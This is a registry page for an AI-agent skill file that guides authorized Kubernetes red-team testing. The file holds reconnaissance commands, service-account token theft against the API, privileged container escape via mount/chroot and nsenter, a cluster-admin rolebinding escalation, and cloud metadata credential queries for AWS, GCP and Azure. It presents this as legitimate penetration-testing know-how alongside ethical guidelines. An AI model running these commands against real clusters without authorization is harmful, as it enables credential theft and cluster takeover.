k8s-security-redteam
Skill19 starsChanged 10 months agoMITView on GitHub
Use when conducting authorized penetration tests, performing security assessments, running red team exercises, testing security controls, identifying attack paths, or validating hardening measures
- Installs packages
In this repository19 other files it gives its agents.
- CLAUDE.mdCLAUDE.md
- cert-manager-troubleshootingSkill
- external-dns-troubleshootingSkill
- external-secrets-troubleshootingSkill
- flux-gitops-patternsSkill
- flux-operationsSkill
- flux-troubleshootingSkill
- helm-chart-developmentSkill
- helm-chart-maintenanceSkill
- helm-chart-reviewSkill
- helm-chart-testingSkill
- k8s-continual-improvementSkill
- k8s-dns-troubleshootingSkill
- k8s-namespace-troubleshootingSkill
- k8s-network-troubleshootingSkill
- k8s-platform-operationsSkill
- k8s-platform-tenancySkill
- k8s-security-hardeningSkill
- kyverno-troubleshootingSkill
The file
We split this skill into the rules it gives an agent
1 rule. About 0 are common, 1 is distinctive, and 0 are very specific to this project.
≈0
Common · estimate
Many files like this have a rule of this kind.
≈1
Distinctive · estimate
This author's own choices. Worth a look.
0
Very specific
Tied to their project's names, files or tools. Probably skip.
- Common
- Distinctive
- Very specific
- Distinctive: line 23
IMPORTANT: Only use these techniques on systems you have explicit written authorization to test.
≈ “Common” is an estimate: at least 1 in 5 of the 350,495 skill files we read have a rule of the same kind, not the same words. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.
Files
Kubernetes Security Red Team
Perform offensive security testing of Kubernetes platforms including penetration testing, attack paths, and vulnerability assessment.
Keywords
kubernetes, security, red team, penetration testing, pentest, attack, exploiting, exploit, privilege escalation, container escape, rbac, secrets, vulnerability, assessment, offensive, conducting, performing, running, testing, identifying, validating
When to Use This Skill
- Conducting authorized penetration tests
- Performing security assessments
- Running red team exercises
- Testing security controls
- Identifying attack paths
- Validating hardening measures
IMPORTANT: Only use these techniques on systems you have explicit written authorization to test.
Related Skills
- k8s-security-hardening - What defenses to test
- k8s-platform-tenancy - Tenant isolation to test
- k8s-platform-operations - Incident response after findings
- k8s-continual-improvement - Track security debt
- k8s-namespace-troubleshooting - Diagnose exploited namespaces
- Shared: RBAC Patterns - RBAC to audit
Quick Reference
| Task | Command |
| Check permissions | kubectl auth can-i --list |
| Find privileged pods | kubectl get pods -A -o json | jq '.items[] | select(.spec.containers[].securityContext.privileged==true)' |
| List secrets | kubectl get secrets -A |
| Test anonymous access | kubectl --as=system:anonymous auth can-i --list |
Attack Surface
External
- Kubernetes API (TCP 6443)
- Ingress controllers (TCP 80, 443)
- NodePort services (TCP 30000-32767)
- Exposed dashboards
- Cloud metadata endpoints
Internal (from compromised pod)
- Service account tokens
- Secrets in environment/volumes
- Network connectivity
- Mounted volumes
- Cloud IMDS
Reconnaissance
External
# Port scan
nmap -sV -p 6443,443,80,30000-32767 ${TARGET}
# Check anonymous access
curl -k https://${API_SERVER}:6443/api/v1/namespaces
# Test anonymous auth
kubectl --server=https://${API}:6443 --insecure-skip-tls-verify auth can-i --listInternal (from pod)
# Current permissions
kubectl auth can-i --list
# SA token location
cat /var/run/secrets/kubernetes.io/serviceaccount/token
# Enumerate
kubectl get namespaces
kubectl get secrets -A
kubectl get pods -A -o wideAttack Paths
1. Service Account Token Abuse
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
APISERVER=https://kubernetes.default.svc
curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
$APISERVER/api/v1/namespaces/default/secrets2. Privileged Container Escape
# Mount host filesystem
mkdir /host && mount /dev/sda1 /host
chroot /host
# Or nsenter
nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bash3. RBAC Escalation
# Check dangerous permissions
kubectl auth can-i escalate roles
kubectl auth can-i bind clusterroles
kubectl auth can-i impersonate users
kubectl auth can-i create pods/exec
# Escalate if can create rolebindings
kubectl create rolebinding pwn --clusterrole=cluster-admin --user=$(whoami)4. Cloud Metadata Exploitation
AWS:
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/GCP:
curl -H "Metadata-Flavor: Google" \
http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/tokenAzure:
curl -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"Cloud-Specific Attacks
AWS EKS
- IRSA token theft from projected SA volumes
- Node IAM role abuse via IMDS
- aws-auth ConfigMap manipulation
- EKS cluster role misconfiguration
GCP GKE
- Workload Identity token theft
- Metadata concealment bypass
- GKE node service account abuse
- Anthos Config Management exploitation
Azure AKS
- Azure AD Pod Identity abuse
- Managed Identity exploitation
- AKS RBAC misconfiguration
- Key Vault access via MI
Vulnerability Assessment Tools
Installation
# kubescape
brew install kubescape
# trivy (includes cluster scanning, image scanning, and k8s misconfiguration detection)
brew install trivyNote: kube-hunter (formerly by Aqua Security) has been deprecated and is no longer maintained. Use
trivy k8sfor equivalent cluster vulnerability scanning.
Running Scans
# kubescape
kubescape scan framework nsa,mitre
# trivy cluster scan (replaces kube-hunter)
trivy k8s --report summary cluster
# trivy targeted scan
trivy k8s --namespace ${NAMESPACE} --report allTesting Checklist
Authentication
- Anonymous API access
- Default dashboard credentials
- Weak service account tokens
- Missing token expiration
Authorization
- Overly permissive RBAC
- Privilege escalation paths
- Cross-namespace access
- Wrong secret access
Network
- Missing network policies
- Unrestricted pod traffic
- Metadata endpoint access
- External exposure
Container
- Privileged containers
- Host namespace access
- Writable root filesystem
- Capabilities not dropped
MITRE ATT&CK Mapping
| Technique | ID | Test |
| Valid Accounts | T1078 | Token leakage |
| Container Admin | T1609 | kubectl exec |
| Escape to Host | T1611 | Privileged abuse |
| Credential Access | T1555 | Secret enumeration |
| Lateral Movement | T1021 | Pod-to-pod access |
Reporting
Finding Template
## [CRITICAL/HIGH/MEDIUM/LOW] Finding Title
**Description**: What the vulnerability is
**Impact**: What an attacker could do
**Evidence**:
- Commands and output
**Affected Resources**:
- Specific resources
**Remediation**:
1. Immediate fix
2. Long-term solution
**References**:
- CIS control
- MITRE techniqueCommon Mistakes
| Mistake | Why It Fails | Instead |
| Testing production clusters without written scope document | Causes unplanned outages; legal and compliance exposure | Get explicit written authorization defining scope, timing, and boundaries |
| Exploiting a vulnerability without documenting the steps | Finding cannot be reproduced or verified; remediation team cannot confirm fix | Record exact commands and outputs as you go |
| Leaving privileged pods or RoleBindings after testing | Attackers can reuse your test artifacts as real attack vectors | Clean up all artifacts immediately after each test phase |
| Assuming RBAC is the only access control | Network-level access, cloud IAM, and metadata endpoints bypass RBAC entirely | Test all attack surfaces: RBAC, network, cloud IMDS, runtime |
| Running scans at peak traffic hours | Scanning generates load; may trigger alerts and degrade user experience | Schedule intensive scans during maintenance windows |
Ethical Guidelines
- Written authorization required before testing
- Scope clearly defined and respected
- No production data exfiltration
- Report all findings responsibly
- Clean up any artifacts created
- Document everything for reproducibility
Does it work?
Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.
No reviews yet
People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.
- It worked
- Partly
- It didn't
Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.
Your trail
Files you open will collect here, so you can find them again.
Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.
Now do this for your own.
Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.

